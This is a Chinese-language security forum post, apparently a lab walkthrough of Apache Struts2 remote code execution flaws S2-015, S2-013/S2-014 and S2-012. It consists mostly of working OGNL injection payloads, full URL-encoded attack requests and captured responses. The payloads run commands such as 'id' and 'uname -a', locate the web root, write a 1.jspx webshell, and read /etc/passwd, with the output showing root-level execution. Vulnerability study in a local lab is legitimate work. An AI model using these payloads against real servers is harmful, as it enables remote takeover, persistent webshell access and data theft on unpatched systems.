redirect{#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
```

获取 web 目录:

```
redirect{#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
```

写入 webshell:

```
redirect{#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
```

# S2-015 远程代码执行漏洞 (CVE-2013-2134, CVE-2013-2135)

影响版本: 2.0.0 - 2.3.14.2

---

打开后是这样的:

![image-20211123202854356](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123202854356.png)

```
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>S2-015</title>
</head>
<body>
<h2>S2-015 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-015.html">https://struts.apache.org/docs/s2-015.html</a></p>

<p>Welcome - <a href="./welcome.action">./welcome.action</a></p>
<p>Menu - <a href="./menu.action">./menu.action</a></p>
<p>Others - <a href="./others.action">./others.action</a></p>

<p>aram - <a href="./param.action">./param.action</a></p>
</body>
</html>
```

可以构造 Payload 如下:

```
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
```

将数据包修改如下:

```
GET /S2-015/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d.action HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://127.0.0.1:8080/

Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; csrftoken=Nm7bpILExMBfV8xOArhuh0D10Oov2jmUMc79gkBd5hLFRgSs0yJA6sgOdka2f7T8; JSESSIONID=6A61EB2A9DA89CD48C73C70A59B856D2

Upgrade-Insecure-Requests: 1




```



![image-20211123204800699](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123204800699.png)

直接回显:



![image-20211123204844449](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123204844449.png)

```
/uid%3D0%28root%29%20gid%3D0%28root%29%20groups%3D0%28root%29%0A.jsp
```



除了上面所说到的这种情况以外,S2-015 还涉及一种二次引用执行的情况:

```
<action name="param" class="com.demo.action.ParamAction">
    <result name="success" type="httpheader">
        <param name="error">305</param>
        <param name="headers.fxxk">${message}</param>
    </result>
</action>
```

这里配置了

```
<param name="errorMessage">{message}
```

其中 message 为 ParamAction 中的一个私有变量,这样配置会导致触发该 Result 时,Struts2 会从请求参数中获取 message 的值,并在解析过程中,触发了 OGNL 表达式执行,因此只用提交 %{1111*2} 作为其变量值提交就会得到执行。这里需要注意的是这里的二次解析是因为在 struts.xml 中使用 {param} 引用了 Action 中的变量所导致的,并不针对于 type=”httpheader” 这种返回方式。

# S2-013/S2-014 远程代码执行漏洞 (CVE-2013-1966)            

打开后是这样的:

![image-20211123202431173](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123202431173.png)

```
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-013</title>
</head>
<body>
<h2>S2-013 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-013.html">https://struts.apache.org/docs/s2-013.html</a></p>

<p>Try add some parameters in URL</p>
<p><a id="link1" href="/link.action">"s:a" tag</a></p>
<p>"s:url" tag</p>
</body>
</html>
```

任意命令执行 POC:

```
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
```

// 或

```
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
```

如:

```
http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
```


S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。

```
http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
```

---

直接在URL中输入poc:

```
http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
```

得到如下信息:

```
dbapp=uid=0(root) gid=0(root) groups=0(root)
```

![image-20211123202644447](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123202644447.png)

成功执行命令:**id**

# S2-012 远程代码执行漏洞 (CVE-2013-1965)            

影响版本: 2.1.0 - 2.3.13



---

打开后是这样的输入框:

![image-20211123201240747](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123201240747.png)

```
<h2>S2-012 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-012.html">https://struts.apache.org/docs/s2-012.html</a></p>

<form id="user" name="user" action="/user.action" method="post">
<table class="wwFormTable">
        <tr>
    <td class="tdLabel"></td>
    <td
><input type="text" name="name" value="" id="user_name"/></td>
</tr>

        <tr>
    <td colspan="2"><div align="right"><input type="submit" id="user_0" value="Submit"/>
</div></td>
</tr>

</table></form>
```

可以直接祭出 s2-001 中的回显 POC,因为这里是没有沙盒,也没有限制任何特殊字符(为什么?)。

在输入框中输入如下内容,然后用burpsuite抓包:

```
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```

![image-20211123201431648](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123201431648.png)

将数据包修改请求方式(修改为get方式)如下:

```
GET /user.action?name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Origin: http://127.0.0.1:8080

Connection: close

Referer: http://127.0.0.1:8080/

Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; csrftoken=Nm7bpILExMBfV8xOArhuh0D10Oov2jmUMc79gkBd5hLFRgSs0yJA6sgOdka2f7T8; JSESSIONID=BA8E18342FFEF46499FDF6935D1795A4

Upgrade-Insecure-Requests: 1




```

![image-20211123201505475](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123201505475.png)

发送请求,执行命令(在response中得到如下信息):

```
HTTP/1.1 200

Date: Tue, 23 Nov 2021 12:13:49 GMT

Connection: close

Content-Length: 50001



root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
messagebus:x:104:107::/var/run/dbus:/bin/false

```

![image-20211123201534288](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123201534288.png)

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:43 , Processed in 0.032828 second(s), 16 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表